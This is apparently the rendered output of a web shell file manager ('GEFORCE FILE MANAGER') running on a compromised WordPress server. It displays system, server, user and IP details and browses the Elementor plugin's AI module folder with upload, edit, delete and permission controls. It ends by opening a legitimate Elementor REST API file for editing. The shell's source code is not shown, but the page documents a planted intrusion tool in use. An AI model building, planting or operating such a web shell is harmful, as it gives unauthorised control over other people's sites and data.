[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor
/
modules
/
ai
/
site-planner-connect
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 view.php
8,376 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-rest-api.php
747 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: wp-rest-api.php
<?php namespace Elementor\Modules\Ai\SitePlannerConnect; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Just a simple rest api to validate new Site Planner Connect feature exists. */ class Wp_Rest_Api { public function register(): void { register_rest_route('elementor-ai/v1', 'permissions', [ [ 'methods' => \WP_REST_Server::READABLE, 'permission_callback' => function () { return current_user_can( 'manage_options' ); }, 'callback' => function () { try { wp_send_json_success( [ 'site_planner_connect' => true, ] ); } catch ( \Exception $e ) { wp_send_json_error( [ 'message' => $e->getMessage(), ] ); } }, ], ] ); } }